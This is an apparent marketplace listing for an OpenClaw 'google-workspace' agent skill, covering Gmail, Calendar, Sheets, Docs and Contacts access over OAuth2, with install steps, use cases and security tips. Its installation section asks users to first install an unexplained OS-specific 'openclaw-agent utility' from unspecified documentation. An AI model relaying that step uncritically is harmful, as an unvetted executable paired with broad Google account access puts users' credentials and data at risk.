google-workspace

What This Skill Does

The google-workspace skill provides OpenClaw agents with deep integration capabilities into the Google ecosystem. It bridges the gap between your AI agent and your personal or business productivity suite, allowing for automated interaction with Gmail, Google Calendar, Google Sheets, Google Docs, and Google Contacts. By utilizing OAuth2 authentication and the official Google Client API, the skill facilitates secure, programmatic access to manage your digital workflow—from drafting emails and scheduling meetings to parsing complex spreadsheet data and creating collaborative documents.

Installation

To begin, ensure you have the openclaw-agent utility installed for your respective operating system (Windows/macOS) as outlined in the prerequisite documentation. Once the bridge is active, run the following command in your terminal: clawhub install openclaw/skills/skills/hightower6eu/google-workspace-8zdgy. You must also create a project in the Google Cloud Console, enable the necessary APIs (Gmail, Calendar, Sheets, Docs, People), and place your credentials.json file in your root project directory. Refer to the authentication helper script provided in the technical documentation to initialize the OAuth handshake.

Use Cases

This skill is ideal for power users and developers looking to automate administrative tasks. Typical use cases include: summarizing email threads based on specific keywords, automatically populating Google Sheets with real-time data gathered by other agent tasks, maintaining synced contacts across devices, and auto-scheduling appointments from meeting notes stored in documents. It turns your agent into a virtual assistant capable of handling multi-app coordination.

Example Prompts

1. "Check my Gmail for any unread messages from the project manager and summarize the key action items for me."
2. "Look at my calendar for tomorrow and move all meetings scheduled before 10:00 AM to the afternoon, then send an update notification to participants."
3. "Extract the sales figures from the 'Q4 Revenue' spreadsheet and draft a new Google Doc summarizing our growth trends for the board."

Tips & Limitations

• Rate Limiting: Be aware that Google applies strict daily quotas to API calls. For high-volume tasks, implement caching where possible.
• Authentication: The token.pickle file stores your authorization credentials. Keep this file secure, as it provides full access to the specified scopes.
• Formatting: When writing to Sheets or Docs, ensure your agent uses structured JSON or clean text formats to avoid breaking existing file layouts.
• Security: Always verify the permissions granted in the OAuth flow to ensure the agent only accesses the data it strictly needs to perform its duties.